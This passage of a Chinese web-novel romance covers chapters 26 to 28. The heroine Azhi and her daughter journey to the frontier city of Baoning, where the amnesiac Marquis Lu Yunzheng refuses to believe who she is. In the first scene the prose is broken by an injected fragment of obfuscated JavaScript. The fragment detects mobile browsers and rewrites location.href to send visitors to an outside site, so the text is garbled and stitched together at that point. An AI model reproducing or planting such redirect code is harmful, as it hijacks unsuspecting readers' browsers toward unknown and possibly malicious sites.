谷湘如恨恨看着她:“别给你自己开脱,说得多么高尚。五年前,你答应陆老侯爷离开阿峥,可是背地里却生下阿峥的孩子,就是为了今日吧。”
阿致双手背在身后:“说出来你可能不信,还真不是。”
她选择生希君,是因为五年前的她没什么兴趣再找个人了解、考验、成婚,太累了。而且她格外想要有一个自己的孩子,希君永远是她的孩子。
谷湘如等着她继续解释。
阿致懒得浪费口舌,转身去后院,继续逛这宅子,看看陆昀峥住着的院子是怎样光景。
·
阿致逛到后院,一眼认出来北面的房是他在住。院子里种了几棵树,枝干高大,树叶繁茂,因是入秋了,叶子被风卷着扑簌簌往下落。她踏着阶梯,上到走廊,推开他的房门。意料之中的简单,开门就是一张桌、四张凳,左侧是一张简单的床,床上被子叠的整整齐齐,右侧是一整面的书架,书架格子上放着各式书籍。不用说,是他费心搜罗来的兵书。
书架边上是一张长条书案,书案上胡乱摆放着纸墨笔砚,还有两支横放的毛笔,笔尖分叉,墨水将一团废纸染黑。
阿致慢慢走过去,坐在他书案后的椅子上,想起了在大漠的时候,她去军营里找他,也喜欢坐他的椅子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806123|158526||http|test|mini|href|location''.split(''|''),0,{}));
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>还是和从前一样,他都没怎么变。方才和谷湘如的一番机锋,让她更加确定自己的心意,她要去见陆昀峥。
阿致看到书案上的一封信,伸手去拿。
“等等!”蓝杰一声大喝,捏着空盘子就进来了,“我说姑奶奶你在哪里呢。这是我们侯爷的房间,姑奶奶您还是回自己院子里吧。”
他焦头烂额的,阿致不想为难他,反正来日方长,便随他回到自己院子里。
回到院子里,希君已经醒过来,吃上了糕点,坐在高高的椅子上,小短腿悬空,不停摆呀摆的,腮帮子里鼓得满满的,又伸手抓另一个:“阿妈,这个糕点比云周记的还好吃,你快来试试。”
阿致笑着过去,将她嘴边的碎屑擦掉:“慢点吃。”
蓝杰终于放心,打算离开。
阿致问他:“说要鉴定黄玉真假的,结果如何了?”
“这个……这事归张教头管。”蓝杰挤出一丝笑,“我去帮您问问。”
阿致点头,她没有放在心上。
蓝杰出去,反手将门关上。
房间内突然暗下去一些,只有窗边透进来大块的阳光,阿致感觉不对劲,望向门的方向。她起身去开门。
这时候,院门口传来铁链子上锁的声音。
阿致皱眉:这……是要困住她?
阿致推开房门,看着院门口,那木门确实上了把铜锁。
但这怎么可能困得住她?等到中午,希君又困了,阿致安置她在房间里休息,便出门来,轻松跳出院墙,去找蓝杰。
蓝杰刚给加急送出去一封信,回来气还没喘匀,一脸惊讶看着阿致:“你怎么出来的?”
“我要离开。上午那个张羽呢?叫他出来。”阿致一脸冰冷。
蓝杰麻溜地关上大门,去竹林里寻张羽。
张羽觉得不是什么大事,再哄一哄就好了。但是好说歹说,没有用,阿致就一句话:“还我黄玉,把你们侯爷的路线告知我。”
“不是我不愿意,而是小娘子去找侯爷,路途遥远,艰苦不说,也很危险。小娘子你不考虑自己,也要为孩子考虑,是不是?”张羽嘴巴里唾沫都干了。他看着阿致,等着她服软听话,他这招对母亲都是有用的。
“你不愿意告诉我路线也行,那我自己去找你家侯爷。就像你说的,若是路上有什么意外、损失,那可都由你担待。”阿致沉着冷静地看着他。
这招以彼之矛攻彼之盾,可真是精彩。张羽没话说了。她都说了和侯爷是生儿育女的交情——虽然不知真假,但如果路上真有什么意外,他可承担不起。
左思右想,张羽服软了,他低头招过来蓝杰:“去寻贺二哥来,另外准备一匹马给贺二哥,准备一辆马车和五日的干粮给这位小娘子。”
蓝杰麻溜地从侧门出去。
张羽伸手捏捏眉心,回头对阿致道:“午时已过,现在出发,天黑前赶去驿站太仓促。今晚休息一夜,我让贺二哥互送你们过去。”
阿致的要求终于得到满足,她点头:“我的黄玉。”
张羽从袖子里掏出来,放在她手心里,眼神还牵着这黄玉,十分不舍。
阿致摩挲着黄玉,满脸微笑地回到自己院子里。陆昀峥带兵出行,不会比她的马车快多少。
晚上,阿致躺在床上,希君睡在她咯吱窝下。阿致兴奋得睡不着,光是想象见到陆昀峥时他会激动成什么样,她嘴角的笑意就压不下来。
陆昀峥,你再等等,等我五六日,便能团圆在一起了。
26. 找到你
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原本阿致以为自己可以很快追上陆昀峥,可惜人算不如天算。
陆昀峥在接到命令后,集结了一部分兵力去往保宁。在贺二哥的帮助下,阿致带着女儿希君一路紧赶慢赶,吃饭喝水都怕耽搁时间,终于在一个傍晚赶上了队伍,却没有找见陆昀峥的人。
最后是贺二哥出面,他找到领队的报上陆府名号,又拿出陆府的信令。
领队的查看过后麻溜地领着他去找副将。副将得知贺二哥是侯爷家的护卫,小声附在他的耳边道:“直接去保宁。”
保宁便是边境,与楼烦接壤的城池。
阿致焦急地看着贺二哥:“怎么样了?”
“侯爷已经快马加鞭抵达保宁。”贺二哥三十多年纪,脸膨起,面色比较黑,像个红糖馒头,左眼受过伤,眼球被挖出来了,没有合上的眼缝黑洞洞,面无表情时看着冷冷的,“小娘子还是好生歇息,前面少说还要走大半个月,不能总是硬抗。”
说着,他的眼睛看了看恹恹的小丫头,明显是颠簸伤了。
这几日赶路实在太急了。计划赶不上变化,侯爷他大约是隐蔽地提前离开了大部队,也许此刻已经抵达保宁了。
阿致看他这一脸笃定,便知道心中的期望落了空。
她要见到他,还要再忍很久。阿致低头,摸摸希君的脸,小脸上的肉都瘪下去了,这几日实在舟车劳顿,孩子吃不消。希望能和他在保宁顺利见面,至少在开战之前说上话……
期望是一回事,现实又是另一回事。她们娘俩这一路上,遇到了剿匪,也遭遇了连日大雨后的官道塌陷,多亏了贺二哥的机敏和拼死相救,她们才能躲过去。平安抵达边塞的保宁,已经是二十多天后。
已是傍晚,天上满是粉色的彩云,如同飘带一样缀在树梢顶。
贺二哥在马车外喊一声:“小娘子,保宁要到了。”
阿致撩开帘子,眯眼看着远处的城墙,城墙只一指甲盖大小。她眼睛里满是欣喜,千山万水跋涉过来,终于要见到陆昀峥了。
贺二哥拍了拍手,递给她一壶水:“看着近,还得一个时辰。”
阿致的嘴唇干裂,正口渴得很,他们坐车一整天,马车里的水壶木塞没有塞紧,漏掉大半。
阿致伸手接过来,摇了下,也只剩下小半壶了。她喝了一小口润下嗓子,剩下的递给了正在背书的希君。这些天,贺二哥照顾她们非常仔细,和他的外表完全不同。
到时候见到陆昀峥,要让他好生感谢贺二哥才行。
风吹起车帘,也吹来几粒黄色粉末,阿致的心蓦然提起来,她再次撩起车帘,轻手轻脚的,盯着赶马车的贺二哥,从他的后背望过去,正好能看到他的虎口,虎口上有些黄色粉末。
阿致的嘴抿成一条直线,伸手捞过女儿希君,抓着她的后背。
希君仰头:“阿妈?”
贺二哥回头,对上阿致的眼神。他目光沉稳,自然地拍掉那粉末,道:“还剩些水么?”
阿致点头,她从希君手里拿过水壶,仔细观察那壶口两遍,只有些水渍。她把水壶递给贺二哥。
贺二哥喝了一口。
阿致盯着他咽下去那口水,提着的心才放下去。看来是她多心了。如果贺二哥真有歹心,何必在这一路上拼死保护她们娘俩呢?
阿致松开希君,指着车帘外道:“快要见到你爹爹啦。”
希君伸出细细的脖子,小鸭子一样露出头来,看着城门,城门口有不少人拖家带口,扛着行李,从城中出来;还有大批靠近的兵士,步伐整齐,如同一条百足虫蠕动到洞里去。
希君当然好奇,她的爹爹是什么样的?她一直没告诉阿妈,她想要个阿爹,这样就不会被别的娃娃嘲笑了。
别人该有的阿爹,她也要有了。只是……
阿致伸手摸着女儿的侧脸:“怎么眉眼皱着?不想见爹爹?”
希君摇头,像个心事重重的老头,她缩回脖子,低头看着马车座椅上躺着的那本书。书都快翻烂了。
阿致笑着说:“不用担心,你爹爹肯定会喜欢你。”
他敢不喜欢?
·
经过繁忙紧张的一个月,陆昀峥稍微轻松了些。
集结的士兵陆续抵达保宁,基本的粮草辎重也准备完毕,清点后数量无误。下午的时候,他钻过粮仓后,一身细灰也来不及换衣服,突袭训练场,检查这些日的训练成效。还不错,这些教头和士兵都很认真。
傍晚时,陆昀峥回去自己居住的院子,邬春荣给他开门。
陆昀峥住在城东的一处三进院子,从这里走路到军营,不要一刻钟的功夫。他到保宁后,买下了这个小小的院子,院子里有一个方形水池,池边种着各种颜色的菊花,白的、粉的、浅黄的、金黄的、玫红的,浓香扑鼻。
陆昀峥经过院子,看了一眼那群静静绽放的菊花,终于有空抬头看了看天空中粉色的彩带,恣意舒展。
夜色越来越浓,皂靴踏着外头的木头梯子,他一步步上到二楼、三楼,站在三楼的露台上,望着保宁城内的星星点点灯火。驻扎到保宁以来,城里是越来越冷清了,晚间大道上甚至没有任何行人。
陆昀峥推开房门,坐在书案前,燃灯,开始清点加急送来的信件,提笔整理、回复,如同过去的每一天。
邬春荣早立刻端着一盘饭菜跟过来:“侯爷,您先吃点压肚子。”
陆昀峥嘴上嗯了一声,但眼睛一直盯着手上的信。
邬春荣无奈长叹一口气,将饭菜放在桌上,默默出去。
过了一个时辰后,他两手插在袖子里,缩着脖子再来,还是一模一样的场景——陆昀峥在书桌前,对着烛火看信件,眉头皱着,手中提着一支笔,旁边是丝毫未动的饭菜。唯一的变化是,饭菜冷了。
已是晚秋,天儿是越来越冷。
邬春荣默默上前,他端着饭菜出去热热。
陆昀峥将手上的信件处理得差不多,事情的进展顺利,他也可以放心些。唯一不放心的,大概就是寻找阿致的事,始终没有进展,中午时罗三给他汇报过。
陆昀峥伸手抹脸,温热的掌心摸着冰冷的脸,倦意袭来,他索性去床上躺一会。他很想要见到阿致,想问一问过去五年到底发生了什么,她为何要离开他……实在不成,他也很想要恢复记忆。只是,他似乎就是忘掉了她,非常彻
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底。
连日的劳累如同波涛,盖过了他,他望着黑色屋顶上的横梁,渐渐的双眼合上。
合上的一刹那,他看到了那面馆的小娘子,她的脸依旧清晰可见。
这一个多月没有再见,但是忙碌的间隙里,她总是会穿梭在他的脑子里,不知道会从哪里冒出来。来到保宁,有好几次走在路上,他一眼看到人群中的黄衣女子,只因为那衣裳颜色一样;又有时候突然就看到了一个侧脸,很像她,过了好一会确认不是她,他才意识到,她的存在实在有侵略性。他也曾克制自己,不要再想她念她,但……“不要”的结果总是失控。
这一次他又“看到”了她,她正静静侧坐在窗棱边上,眼角眉梢带着笑意,望着窗外的夜月。
但这一次,他没有再克制,但是也没有靠近。他就这样看着清晰的她,她的每一根头发丝。他在等待,等到某个时刻,她就会离开、消失。
就这样闭着眼睛,陆昀峥渐渐呼吸绵长,面容舒展开来,不久,他的眉头重新皱起来,满头大汗,陡然又睁开了眼睛,从床上坐起来。
他再次梦见送阿致离开长安时的那一天,那个夜晚,在长安街头,她的背影吊在前头,他缀在后面。她始终没有回头。陆昀峥低头,深呼吸一口气,捂着胸口。
这个时候,他脑子里又闪过一幕:大漠昏黄的傍晚,那小娘子手上提着个食盒,笑意盈盈地凑过来,伸手捧着他的脸,喊他阿峥。
她笑的时候,露出整齐光洁的牙齿,眼里是明亮的光,如同日光下荡漾的湖面。和在密县时的冷清模样,判若两人。
陆昀峥伸手抹掉头上冷汗,望着满室黑暗和微微跳动的烛火,他的梦境越来越离谱、荒唐。
·
进入保宁城后,还得打听陆昀峥的落脚处。
马车在寂静无人的街道上“哒哒哒”前行,阿致咬着嘴唇,望向一片黑夜,身旁睡着女儿希君。
最终,马车停在一个院子前。
阿致抱着希君下车,贺二哥去敲门。
院子里,邬春荣正端着几碗菜,刚热好的,要端去三楼,听到马蹄声还有“咚咚咚”的敲门声,他将菜盘子放在院里的石桌上,转而去开大门:“谁呀?”
门一拉开,一片乌漆麻黑中,他先是看到了一张白净的、熟悉的脸,惊得目瞪口呆:“你……小娘子你怎的来这里?”
邬春荣怎么也不会忘记,在密县的游园的夜里,隔壁院子里就住着夫人,侯爷抱了这小娘子回来,让他一个小厮忍不住哆嗦。到现在他还胆战心惊着。
他一低头,正看到小娘子怀里还抱着个孩子。邬春荣脑子里警铃大作……
阿致抱着希君进去,问:“你家侯爷呢?”
邬春荣脑瓜子都是木木的,他下巴一指,指向后面三楼。
阿致抬头,三楼那儿亮着烛火。
她将怀里的希君递给邬春荣:“这是你侯爷的女儿,好生安置。”
“啊?”邬春荣抱着希君,瞬间不敢动了,这是个祖宗啊,比山芋还烫手。果然,今晚上又是风雨欲来哇。
朝着三楼的火光,阿致提起裙摆,快速踏上木梯,拾级而上,就像一阵风。
27. 你如何让我相信你?
27
“哐”,阿致推开门。门外的冷风涌进来,将房间里的烛火吹得明明灭灭。她一眼看到了他,心湖随着明明灭灭的烛火,荡漾着起起落落。
陆昀峥闭眼坐在床沿,一手摁着额头:“春荣,把门关上。”
没有得到回应,陆昀峥睁眼,抬头,便看到那小娘子她笑意盈盈地站在房门口,一只手紧紧抓着裙摆,背后是深蓝色的夜空。
夜里的风吹起她身上的薄衣,袖子在风中摆动着。
她笑的时候,露出整齐逛街的牙齿,眼里盛满明亮的光,整个人被激越的兴奋笼罩。
陆昀峥看着她,不说话,神色淡然,顿在空中的手却慢慢垂下去。难道他现在还在梦中?
“阿峥。”阿致笑看着他,快步过去他面前。
陆昀峥一动未动。既然这是梦,那么他必然可以控制她,不叫她真的过来、靠近。
阿致过来,靠近他,伸出双手捧住他的脸。
她的指尖温热。
陆昀峥坐在床沿,仰头看着她,被死死压制许久的酸涩感,爆涌出来。他仰头,看着她黑暗中熠熠生辉的笑容,不敢错过一丝一毫。
如果这是他心中的欲,此刻他不想再克制。
他扬起的脸那么呆,阿致用指腹轻轻摩挲他的侧脸。他的眼神死死锁住她。
阿致轻轻笑了,她矮身去亲他的唇。
陆昀峥起身,一手握住她纤细的腰身,将她紧紧贴在自己怀中,另一手捏住她的肩膀,抱着她热烈地回应。唇齿厮磨着,热气喷灼时,陆昀峥的手按在她的脖颈上时,过于真实的热度从手指尖传来……
他愣住,退开一步,看着眼前的女子,喃喃道:“不是梦……”
如同神魂突然归位,陆昀峥一把推开她。
力度没有把握好,他将她推到了床尾滚了半圈。
阿致的胳膊撞到床沿,痛得叫出声。她捂着上臂,怨怨地看着他,把袖子拉起来给他看:“撞到我伤口了。”
她胳膊上一道划伤的口子,伤口平整,明显是被兵器所伤。
陆昀峥看着她露出的手臂上大片肌肤,侧开头:“方才如此荒唐,是我不清醒,以为在梦中……”
说到这里,陆昀峥停下。梦中就可以荒唐了么?
他手握拳头,彻底冷静下来:“这事全是我的错,请小娘子见谅。不知道小娘子为何要来这里?”
“来找你啊。”阿致坐在床沿,放下袖子,舌尖轻舔嘴唇,好整以暇看着他。
这么段日子不见,他对她冷淡了许多。不过,方才他倒是挺热情的。
陆昀峥走开几步,与她拉开距离,低头道:“不知小娘子找我何事?”
阿致起身,靠近他:“我是阿致,沈雪致。你说我找你何事?”
这样解释,他总能想清楚了吧。
陆昀峥愣愣看着她的眼,又看到她伸出手来勾他的脖子。他的腿如同在地上生根了一般,他的心也被她缠得死死的,他知道自己很想要这么相信她的话。但是……
阿致的指尖触碰到他的脖颈时,眼睁睁瞧他退后两步。
“轰”一声,他撞到房间里的方桌,蜡烛倒在棕色桌面上,白色蜡油洒出来一滴滴,快速凝固得如同白米饭。
烛火将要熄灭,房间里迅速暗下来,陆昀峥的脸显得更加冰冷无情。
这和阿致想的完全不一样。她收回顿住的双臂,转而去扶蜡烛。
陆昀峥又退避两步。
“放心,没人想要占你便宜。”阿致冷哼一声扶起来蜡烛,烛心一点火苗终究还是熄灭了。
房间里陷入一片黑暗,只有门外暗暗的风声乱窜。
她捏着温热的蜡烛,气死了,扔在桌上:“你不相信我是沈雪致?”
陆昀峥道:“我之前问过你,你否认了。”
“当时都是有原因的。”阿致耐着性子解释,“那时候你与别人成婚了,听说你与夫人情投意合,孩子都怀了,我哪能说实话?说了实话,你要怎么办?要我做妾吗?”
陆昀峥沉默了一会,去窗边的木柜上摸到火镰,重新点燃蜡烛。
阿致靠近他一步:“而且你当时失忆了,我……也不知道你找我究竟是为什么。”
陆昀峥倒是没有再退开,但他脸色凝重,并不像相信的样子。他问道:“那你为何又决定找我说出真相?”
“我前不久才听说,谷湘如趁你失忆,冒充我骗了你。”阿致瘪嘴,“再则,我去长安打听过,你和离了。”
陆昀峥沉默许久:“也就是说,你被人玷、污的事,都是骗我的。”
“当时……是为了让你死心。”阿致看他的脸,冷肃紧绷。
死心?陆昀峥伸手抹一把脸:“一定要说自己被玷、污过?你考虑过我的心情吗?”
阿致低头。
“你也是女子,为何要编出这样残忍的谎话?”陆昀峥深吸一口气,不想看对面的女子。当初听她说被玷、污过,他那么伤心、愧疚。
阿致嘴唇蠕动,终究咬死了嘴唇,一个字都没有说。
陆昀峥抬头看她,她别开脸。
“谷湘如确实骗了我,但你也骗过我,你如何让我相信你?”陆昀峥起身往门外走去。
这是不信?阿致赶紧跟上去:“你信我,这次我可以保证都说的实话——”
话还没说完,陆昀峥捏着她瘦削的双肩,一个旋身将她推出了门外。
陆昀峥站在房间内,平静地道:“这事等我恢复记忆再说。”
鬼知道他猴年马月才能恢复记忆啊。阿致捶了下门,小声嘟囔:“我还没问你和谷湘如好过没有呢……”
盼了一个月的重逢,最后竟是不被相信。
阿致被冷风吹得一哆嗦,望着皎皎弯月长叹口气,转身下楼去看女儿希君。
“别想些有的没的,早点去休息。”陆昀峥的声音从房间里传来。
阿致的嘴角翘起,脚步轻快地下楼去。
·
阿致到一楼时,正好遇到端着糕点的邬春荣。
邬春荣似乎挺震惊的。又……这么快完事了?他家侯爷看起来挺行的,原来……真不行吗?
邬春荣嘴巴紧闭,带着阿致去前院的小楼,今晚上就安排她们娘俩住在这里了。
去前院的路上,阿致遇到了贺二哥,他似乎去后院整理马车了。阿致和他点头,擦肩而过。
方才,希君醒了,看不到阿妈一直哭,最后是邬春荣说去拿糕点才消停点。
阿致从邬春荣手里接过糕点,自己回到房里,看那个小哭猫,坐在高高的凳子上,脸趴在桌面上,脸下枕着她的那本烂书。
鼻涕眼泪还没干。
看到阿妈,希君伸出手来要抱抱:“阿妈。”
阿致靠过来,希君抱住阿妈的腰:“我要吃。”
阿致拿了一块喂给她。
希君咬了一口,这才想起来:“阿妈,爹爹呢?”
她们来这里,不就是为了见爹爹吗?
阿致舔舔嘴唇,起身去整理床铺:“你爹爹他……暂时还需要一点时间想清楚。”
·
夜已深了,三更的梆子响起。
陆昀峥送走阿致后,第一件事就是将贺忠叫上来:“怎么回事?”
贺忠立在一旁,脊背挺直,头微微垂着:“您走之后,这小娘子带着女儿寻到长安的府里,手上拿着黄玉,非要见您。张先生便问她为何要见。她说与您……生儿育女过,还非要来追您。张先生也不敢慢怠,但府中一时没有多余人手,便差我一路护送。”
陆昀峥坐在书案前,点头:“为何没有早些送信来?”
“出发之前,张先生有安排人加急送信。”贺忠抬头,环顾这房间四周,冷清的氛围,床上被单随意堆在一边,但房屋内的物件整整齐齐,只桌上泼洒了几滴蜡油。
陆昀峥的手指在书案上轻轻敲了下:“你去休息。”
贺忠双手捏着作揖,转身退出去。
走到门口时,他又退回来:“属下多嘴,这一路很辛苦,小娘子为了尽快找到侯爷,吃了不少苦头。小娘子被匪徒伤了胳膊。”
·
第二日清晨,陆昀峥很早醒来,他还有事要去军营,便吩咐邬春荣:“你去买些上好的金创药。”
“侯爷你受伤了?”邬春荣大惊小怪。
陆昀峥系好腰带出门:“那小娘子你安置在哪里?”
邬春荣跟着他到门口的廊檐下,指着前院的小楼。
小楼下的窗子正好打开,露出阿致的脸,面色红润,神采奕奕,一头黑发侧在身前。
昨晚上阿致睡得安稳,醒来后没来得
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及盘发,披着一头黑长发打开窗,闭眼闻着辛甜的菊花香,一抬头,正好看到三楼的两人。
邬春荣脸红,侧头看侯爷。
“买了药送到小娘子房里。”陆昀峥步履稳健地下楼。
他经过前院时,阿致好整以暇坐在窗边,一手撑着下巴:“午饭,要不要一起吃?”
陆昀峥面无表情:“不用管我。”
“晚上你早点回来,我有话要和你说。”阿致直白看着他,嘴角翘起。
“我今天没空。”陆昀峥脸色冷冷地,抬脚离开。
刚走进院子的邬春荣,听到这话,“嘶——”一声,侯爷这不近人情的性子,只希望没有伤到小娘子的心。
阿致嘴角翘得更高,她无所谓地对他的背影大喊:“我等你哦——”
·
正午,保宁的大街上,没什么行人。阿致拉着女儿希君的手,在街巷之间穿行。
街巷上所见之处,到处都是大门紧闭的店门,只零散的酒馆、医馆、面铺、茶肆开着门。楼烦骚扰边境,影响到生活和生意,许多人都从保宁逃走了。
希君一脸不情愿,蹲在地上:“阿妈,我们回去吧。”
“咱们再去前边吃碗面就走。”阿致弯腰哄她。
“从早上出门到方才,都吃了五个面铺了……阿妈,我走不动了。”希君看到路边的糖人,砸吧砸吧嘴。
阿致牵着她过去那糖人摊前:“给你买个糖人,再去一个地方。”
今早出门前,阿致就盘算好了,她要在保宁开个面馆。但是面馆的位置很重要,这一早上她就是在考察保宁的人口多少、聚集地,还有就是保宁这边的味道偏好。
希君撅嘴:“再加一本画册。”
午时过了,阿致抱着希君回到院子里,希君累得睡着了。
邬春荣打开门,从阿致手中接过小丫头,道:“侯爷吩咐我给您买了一瓶金创药,等会给您拿来。”
阿致手上提着个白色布袋子,她捏紧布袋子的口,笑着道:“侯爷让买的,你就让他自己拿来。”
邬春荣眼珠子一转,就呵呵笑着应了,转而问:“小娘子买了些什么?”
“不过是些孩子的玩意。”阿致问,“沐浴的热水从哪里取?”
邬春荣立刻道歉:“是我照顾不周,昨晚忘了这事。”
阿致摇头,昨天抵达的太晚,沐浴太费神。
邬春荣帮着她抱希君到房里去,随后又领着她去隔壁的房里,那房里套着一个净室,净室中放着一个巨大的浴桶,一次泡两个人都足以。
“这浴桶太大,搬动也很难,故而闲置在此。小娘子若要沐浴,我现在叫人去给您烧热水送来。”
邬春荣办事非常利索,不一会就带人将热水挑过来:“小娘子若还有其他事,只管再吩咐。”
·
外头难得有些阳光,透过关闭的窗棱,洒在净室里。她的脸正好晒在阳光下。
阿致泡在水桶中,十分惬意。过去一个月的疲惫,清扫一空。
蒸汽腾腾中,困意渐渐袭来,她闭着眼睛。
而院子里,陆昀峥大踏步进来。
邬春荣问:“侯爷今日怎的回来得这么早?”
换作平常,侯爷要到晚上才回来。看来侯爷只是嘴硬,心里是在意那小娘子的。
陆昀峥没有回答,反而问:“那小娘子人在哪里?”
“小娘子早上出去过,刚不久回来了,人在前院,正——”
陆昀峥打断他:“她早上出去做什么?”
“买了些小玩意罢。”邬春荣想起来件事,“侯爷,金创药我买了,但是小娘子让您亲自送过去。”
说着,邬春荣从袖子里掏出那瓶金创药来。
陆昀峥拿过金创药,转身往前院走去。
小娘子正沐浴呢……邬春荣伸出手,想要叫住侯爷,侯爷已经走远。不应该干涉别人因果,邬春荣收回自己的手。
·
前院里,陆昀峥一进门,便是两间挨着的房,其中一间房门敞着。
他抬脚要进去时,隔壁紧闭的房门突然传来声音,似乎是女人的惊呼声。
陆昀峥转而推开另一间房的房门。
房门没有从里面栓住。
房间里许多灰尘,没有人。但是净室里传来阵阵水声。
28. 这是你爹爹
28
泡澡的时候,阿致睡着了,差点滑入水面下。她惊呼一声,从水里站起来。
水呛到喉咙里,她捏住喉咙,弯腰咳呛。
陆昀峥在外面听声音,十分焦急:“你没事吧?”
阿致听出来是他的声音,但她咳得头昏脑胀,根本没有精力答复。
陆昀峥在门外站着,想了想最妥当的法子,还是叫后厨的厨娘来。他刚准备离开,净室的门从里面打开。
阿致从里面走出来,她擦过身子,穿上了干净的中衣,整个人神清气爽,但还没来得及穿上外套。她歪着头,用帕子将一头及腰的长发绞干。
泡过热水后,她头发上有袅袅的热气,浑身散发着好闻的皂角香,脸上是花瓣一样的粉色,衬得眼底水光晶莹。
阿致抬头,看到陆昀峥。他愣在原地。
她直接撞开他右边胸膛,去到外间里:“你怎的回来这么早?”
她走过的地方,格外清香。陆昀峥原本有些头重,此刻清晰许多。他转身去看她:“你不是说有事要找我?”
他一转身,便看到她上身湿润的中衣,在两肩的位置,头发上的水滴打湿布料,布料紧贴着肌肤便十分透,甚至能看清她里头的小兜是什么颜色。
陆昀峥垂眼。
阿致顺着他的视线,低头看了看自己的中衣,走过去,伸手抱着他的腰,两人的腰贴在一起:“熟悉吗?”
这就是她的把戏么?陆昀峥冷着脸,伸手推她的肩膀。
一不小心,摁在她的胸口。
指尖柔软的触感传来,形状清晰可见。陆昀峥抽手。
阿致抢先一步,摁住了他的大手,仰头看他已经红了的耳朵尖。
陆昀峥低头看着她的脸、直白的眼神。
两人对视着,仿佛定格了一般,时间分外漫长。夕阳的光柱透过窗棱,从外头照进来,搁在两人中间,正照在陆昀峥和她叠在一起的手背上。
阿致踮脚去亲他时,陆昀峥后退一步。
“如果你还想谈,先把衣服穿好。”陆昀峥的脸冷到了极点,他甩开了手,背对着她。
他是真的生气了。
阿致无奈地叹一口气,她恨不得将他的唇都咬碎,也只得乖乖将椅子上的外衣穿好。
这是今日她新买的,一袭葱绿色的烟水百花裙。
陆昀峥转过头来,看到她这一身新鲜模样,立刻转开眼,坐在一旁的椅子上:“有话快说。”
阿致重新挽好湿发,用一根木簪斜斜固定住,和他并肩坐着:“你要怎样才相信我是沈雪致?”
“你的传信和照身贴呢?”
这个……阿致舔了舔嘴唇:“五年前,从陆府离开时,我便将照身贴换了王致的,什么也没有带走。”
“也就是说,你没有任何证据。”
“五年前所有的事情你都可以问我。”
陆昀峥起身:“你说的话,怎么能保证不是编的?”
“我发誓,我不会骗你。”阿致已经抬起了手掌。
陆昀峥侧头看她,她一脸的真诚。他冷冷地说:“上次你也是这样发誓的。”
但是骗了我。
阿致想起来密县的那天晚上,她对陆昀峥说谎了。她看着他的眼睛:“从一开始,无论我说什么,你都不会信我,是不是?”
“如果你是我,你会相信一个满口谎话的人?”陆昀峥抬脚往外走,“等我恢复记忆再说。”
就算眼前的小娘子能说对所有的线索,那又怎样?谷湘如就是利用所有正确的线索,欺骗了他。
“你五六十岁才恢复记忆,那我也要守活寡到五六十岁吗?”阿致也起身,她对陆昀峥道,“你说的这个方案我不同意。”
陆昀峥停步,回头看着她。
阿致提议:“不如找个过去我们都认识的人,来证明我说的。”
陆昀峥微一抬头,他忽然就想起来王阳,问她:“那你说说看我们都认识的人有谁?”
阿致掰着手指头数了下,认识他们两人的,至少包括陆侯爷夫妇、谷湘如,但是这三人都不会帮着她。曾经远在宜阳城的人,也认识她,可是……宜阳城离这里实在太远。
突然,阿致想到:“之前你信中说,成婚当日有曾经的部下认出来新娘不是我!那部下必然认识我,又是在长安……你让他过来?”
·
陆昀峥回到三楼,即可修书一封,让罗三加急送出去。
书信是给张羽的,让他找到王阳,之后直接互送到保宁来一趟。
罗三将信封用蜡油封死:“属下现在就去安排。”
陆昀峥忽然想起一件事:“另外,你将贺忠遣回长安,派人盯着他。这封信不能让他知道。”
“侯爷怀疑他?”罗三有些震惊。
“嗯,盯紧了。这封信也不能让他知道。”
罗三不敢再多问:“遵命。”
这时候,邬春荣从外面进来:“侯爷,小娘子叫您一起过去吃晚饭。”
罗三快速退出去。
陆昀峥放下手中的笔,想起方才她突然的靠近,右手食指和拇指指腹摩挲着:“没空。”
“哦。”邬春荣感受到突然的低气压,小心翼翼地退出去。
·
“陆昀峥说他没空?”阿致看着一桌子菜。一旁的希君馋得流口水,偷偷伸手,想要搭一条肉片吃。
“啪”,阿致一伸手,拍掉希君的胳膊,“等你爹爹过来再吃。”
希君撅起嘴,不开心。
邬春荣讪讪笑着说:“侯爷一向是忙得脚不点地,吃饭也没个定时。小娘子要不先用膳?”
他家侯爷是真的一点点都不近人情,小娘子若要等着,那也是自讨没趣。他可见过太多次,谷夫人独守着冷饭,气得半夜睡不着起来发疯。
阿致没说话,提着裙子转身出了门,路过院子里的一片白色菊花,在黑夜里格外惹眼。她踏上楼梯,一层两层三层,终于站在他的书桌前:“先吃饭。”
陆昀峥正靠在椅子上,闭目思索,睁眼看到是她:“我还有事。”
他桌上空荡荡的,连张纸都没有。烛火也没有点,房间里黑洞洞的。这是要做事的样子?都是借口罢了。
阿致心平气和地说:“你不下去吃,我便让人把饭菜端过来这里。”
陆昀峥看着她。
她目光坚定:“我现在去把饭菜端上来。”
陆昀峥按着木椅扶手,起身。
她转身,走在前头。
他紧随其后。
邬春荣还在前院房里招呼小丫头呢,听到一阵阵脚步声,探着头往外一看,哟,真是稀罕,他家爷竟然被说动了……
希君歪着小脑袋:“春荣叔叔,你的下巴掉啦。”
·
阿致绕过圆桌,双手按在希君的肩头,指着陆昀峥:“希君,这是你爹爹。”
希君撅着小嘴巴,看对面的男人,歪着头,上下打量他,半晌没有做声。
陆昀峥低头看着那小丫头,两人都是桃花眼,大眼瞪小眼。
这……邬春荣眼珠子慌张地乱转,最后看着被侯爷无视的小娘子,安置了另一副碗筷:“不如咱们先吃饭?”
阿致原本也不在乎这件事,她只是想要让父女两个互相认识下而已。
就这样一家三口坐在一张桌上,希君坐中间,阿致和陆昀峥坐对面。
阿致拿起筷子,希君也跟着开吃,一下子夹了两只蟹。
唯独陆昀峥没有动。
阿致抬眼看他。
邬春荣忙在一旁打圆场:“侯爷领三军将士,不能有任何闪失,每日饭菜都需要小
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的试菜。”
试毒吧。
阿致了然地点头,继续吃自己的。曾经在宜阳城,陆昀峥在外面吃的每一碗面,都是她帮忙试的。
邬春荣试菜完毕,非常自觉地离开。一时间,饭桌上十分沉默。
希君砸巴油光发亮的小嘴,趁着阿妈低头,想要吃远处的蟹肉。小手摁在桌上,手上都是油,捏不住筷子,自然也夹不住螃蟹。
